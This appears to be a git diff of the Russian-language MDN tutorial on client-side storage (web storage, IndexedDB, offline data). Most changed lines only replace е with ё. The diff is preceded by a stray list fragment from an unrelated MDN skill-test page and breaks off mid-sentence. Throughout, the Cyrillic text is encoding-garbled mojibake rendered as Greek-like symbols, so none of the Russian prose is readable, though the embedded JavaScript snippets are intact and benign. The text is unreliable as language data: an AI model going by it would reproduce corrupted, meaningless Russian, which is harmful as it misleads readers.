<li>ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ сообщСниС с ΠΏΡ€ΠΎΡΡŒΠ±ΠΎΠΉ ΠΎ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ Π°Π½Π°Π»ΠΈΠ·Π° ΠΈ/ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π² ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Π’Π°ΡˆΠ΅ сообщСниС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡƒΠ½ΠΊΡ‚Ρ‹:
<ul>
<li>ΠžΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "Анализ для тСста Π½Π°Π²Ρ‹ΠΊΠΎΠ²: Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ 1".</li>
diff --git a/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html
index da1f88f0aa..280493b6bd 100644
--- a/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html
+++ b/files/ru/learn/javascript/client-side_web_apis/client-side_storage/index.html
@@ -76,7 +76,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage
<p>НСкоторыС соврСмСнныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π½ΠΎΠ²ΠΎΠ΅ {{domxref("Cache")}} API. Π­Ρ‚ΠΎΡ‚ API ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для хранСния HTTP-ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² Π½Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ запросы ΠΈ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ для Ρ‚Π°ΠΊΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠ°ΠΊ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ рСсурсов сайта Π² Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ впослСдствии сайт ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π΅Π· сСтСвого ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Cache ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² сочСтании с <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a>, ΠΎΠ΄Π½Π°ΠΊΠΎ это Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
-<p>ИспользованиС Cache ΠΈ Service Workers - слоТная Ρ‚Π΅ΠΌΠ°, ΠΈ ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π΅ΠΉ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, хотя ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{anch("Offline asset storage")}} Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Π½ΠΈΠΆΠ΅.</p>
+<p>ИспользованиС Cache ΠΈ Service Workers - слоТная Ρ‚Π΅ΠΌΠ°, ΠΈ ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π΅ΠΉ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, хотя ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{anch("Offline asset storage")}} Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Π½ΠΈΠΆΠ΅.</p>
<h2 id="Π₯Ρ€Π°Π½Π΅Π½ΠΈΠ΅_простых_Π΄Π°Π½Π½Ρ‹Ρ…_β€”_web_storage">Π₯Ρ€Π°Π½Π΅Π½ΠΈΠ΅ простых Π΄Π°Π½Π½Ρ‹Ρ…Β β€” web storage</h2>
@@ -96,7 +96,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage
<li>
<p>ВсС Π΄Π°Π½Π½Ρ‹Π΅ вашСго Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° содСрТатся Π² Π΄Π²ΡƒΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… структурах Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°: {{domxref("Window.sessionStorage", "sessionStorage")}} ΠΈ {{domxref("Window.localStorage", "localStorage")}}. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ сохраняСт Π΄Π°Π½Π½Ρ‹Π΅ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ (Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚Π΅Ρ€ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°), Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ сохраняСт Π΄Π°Π½Π½Ρ‹Π΅ Π΄Π°ΠΆΠ΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΊΡ€Ρ‹Ρ‚, Π° Π·Π°Ρ‚Π΅ΠΌ снова ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π΅Π½.</p>
- <p>{{domxref("Storage.setItem()")}} ΠΌΠ΅Ρ‚ΠΎΠ΄ позволяСт ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ элСмСнт Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ - ΠΎΠ½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°: имя элСмСнта ΠΈ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти это Π² свою консоль JavaScript (ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° своС собствСнноС имя, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅!):</p>
+ <p>{{domxref("Storage.setItem()")}} ΠΌΠ΅Ρ‚ΠΎΠ΄ позволяСт ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ элСмСнт Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ - ΠΎΠ½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°: имя элСмСнта ΠΈ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти это Π² свою консоль JavaScript (ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° своё собствСнноС имя, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅!):</p>
<pre class="brush: js notranslate">localStorage.setItem('name','Chris');</pre>
</li>
@@ -134,7 +134,7 @@ myName</pre>
var myName = localStorage.getItem('name');
myName</pre>
- <p>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ имя элСмСнта.</p>
+ <p>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя элСмСнта.</p>
</li>
<li>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π·Π°ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Π³ΠΎ снова.</p>
@@ -155,7 +155,7 @@ myName</pre>
<p>Π­Ρ‚ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ смысл - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСбС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ, Ссли Π²Π΅Π±-сайты смогут Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°!</p>
-<h3 id="Π‘ΠΎΠ»Π΅Π΅_Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">Π‘ΠΎΠ»Π΅Π΅ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h3>
+<h3 id="Π‘ΠΎΠ»Π΅Π΅_Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">Π‘ΠΎΠ»Π΅Π΅ Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h3>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ эти Π½ΠΎΠ²Ρ‹Π΅ знания, написав простой Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅. Наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ ввСсти имя, послС Ρ‡Π΅Π³ΠΎ страница обновится, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ привСтствиС. Π­Ρ‚ΠΎ состояниС Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы / Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ имя хранится Π² Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅.</p>
@@ -173,7 +173,7 @@ myName</pre>
<p>Π”Π°Π»Π΅Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ наш HTML ссылаСтся Π½Π° Ρ„Π°ΠΉΠ» JavaScript с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>index.js</code> (см. строку 40). Нам Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΅Π³ΠΎ, ΠΈ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π² Π½Π΅Π³ΠΎ наш ΠΊΠΎΠ΄ JavaScript. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» <code>index.js</code> Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅, Ρ‡Ρ‚ΠΎ ΠΈ ваш HTML-Ρ„Π°ΠΉΠ».</p>
</li>
<li>
- <p>ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с создания ссылок Π½Π° всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ - ΠΌΡ‹ создадим ΠΈΡ… всС ΠΊΠ°ΠΊ константы, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти ссылки Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π² ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠΌ Ρ†ΠΈΠΊΠ»Π΅ прилоТСния. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π² ваш Ρ„Π°ΠΉΠ» JavaScript:</p>
+ <p>ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с создания ссылок Π½Π° всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ - ΠΌΡ‹ создадим ΠΈΡ… всС ΠΊΠ°ΠΊ константы, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти ссылки Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π² ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠΌ Ρ†ΠΈΠΊΠ»Π΅ прилоТСния. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π² ваш Ρ„Π°ΠΉΠ» JavaScript:</p>
<pre class="brush: js notranslate">// create needed constants
const rememberDiv = document.querySelector('.remember');
@@ -195,7 +195,7 @@ form.addEventListener('submit', function(e) {
});</pre>
</li>
<li>
- <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, функция-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ Β«Say helloΒ». Π’ коммСнтариях ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±ΠΈΡ‚, Π½ΠΎ Π² сущности здСсь ΠΌΡ‹ Π±Π΅Ρ€Π΅ΠΌ имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Π²Π΅Π» Π² ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° тСкста, ΠΈ сохраняСм Π΅Π³ΠΎ Π² Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>setItem()</code>, Π·Π°Ρ‚Π΅ΠΌ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>nameDisplayCheck()</code>, которая Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ фактичСского тСкста сайта. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это Π² ΠΊΠΎΠ½Π΅Ρ†:Β </p>
+ <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, функция-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΊΠΈ Β«Say helloΒ». Π’ коммСнтариях ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±ΠΈΡ‚, Π½ΠΎ Π² сущности здСсь ΠΌΡ‹ Π±Π΅Ρ€Ρ‘ΠΌ имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Π²Ρ‘Π» Π² ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° тСкста, ΠΈ сохраняСм Π΅Π³ΠΎ Π² Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>setItem()</code>, Π·Π°Ρ‚Π΅ΠΌ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>nameDisplayCheck()</code>, которая Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ фактичСского тСкста сайта. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это Π² ΠΊΠΎΠ½Π΅Ρ†:Β </p>
<pre class="brush: js notranslate">// run function when the 'Say hello' button is clicked
submitBtn.addEventListener('click', function() {
@@ -263,7 +263,7 @@ function nameDisplayCheck() {
<p dir="ltr" id="tw-target-text">Однако это обходится Π΄ΠΎΡ€ΠΎΠ³ΠΎ: IndexedDB Π³ΠΎΡ€Π°Π·Π΄ΠΎ слоТнСС Π² использовании, Ρ‡Π΅ΠΌ Web Storage API.</p>
-<p dir="ltr" id="tw-target-text">Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ коснСмся Ρ‚ΠΎΠ³ΠΎ, Π½Π° Ρ‡Ρ‚ΠΎ ΠΎΠ½ способСн, Π½ΠΎ ΠΌΡ‹ Π΄Π°Π΄ΠΈΠΌ Π²Π°ΠΌ достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ.</p>
+<p dir="ltr" id="tw-target-text">Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ коснёмся Ρ‚ΠΎΠ³ΠΎ, Π½Π° Ρ‡Ρ‚ΠΎ ΠΎΠ½ способСн, Π½ΠΎ ΠΌΡ‹ Π΄Π°Π΄ΠΈΠΌ Π²Π°ΠΌ достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ.</p>
<h3 dir="ltr" id="Π Π°Π±ΠΎΡ‚Π°_с_ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ_хранСния_Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ">Π Π°Π±ΠΎΡ‚Π° с ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ хранСния Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ</h3>
@@ -668,7 +668,7 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) {
<h2 id="ΠžΡ„Ρ„Π»Π°ΠΉΠ½_Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅_Π΄Π°Π½Π½Ρ‹Ρ…">ΠžΡ„Ρ„Π»Π°ΠΉΠ½ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…</h2>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ большого объСма Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ IndexedDB, избСгая нСобходимости ΡΠΊΠ°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ. Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎΠ΅ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°, Π½ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ Π·Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅Β β€” основной HTML, CSS, ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ JavaScript всС Π΅Ρ‰Π΅ Π½ΡƒΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·Β ΠΏΡ€ΠΈ запросС сайта, это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉΒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ отсутствии сСтСвого соСдинСния.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ большого ΠΎΠ±ΡŠΡ‘ΠΌΠ° Π² Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ IndexedDB, избСгая нСобходимости ΡΠΊΠ°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ. Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎΠ΅ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°, Π½ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ Π·Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅Β β€” основной HTML, CSS, ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ JavaScript всС Π΅Ρ‰Ρ‘ Π½ΡƒΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·Β ΠΏΡ€ΠΈ запросС сайта, это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉΒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ 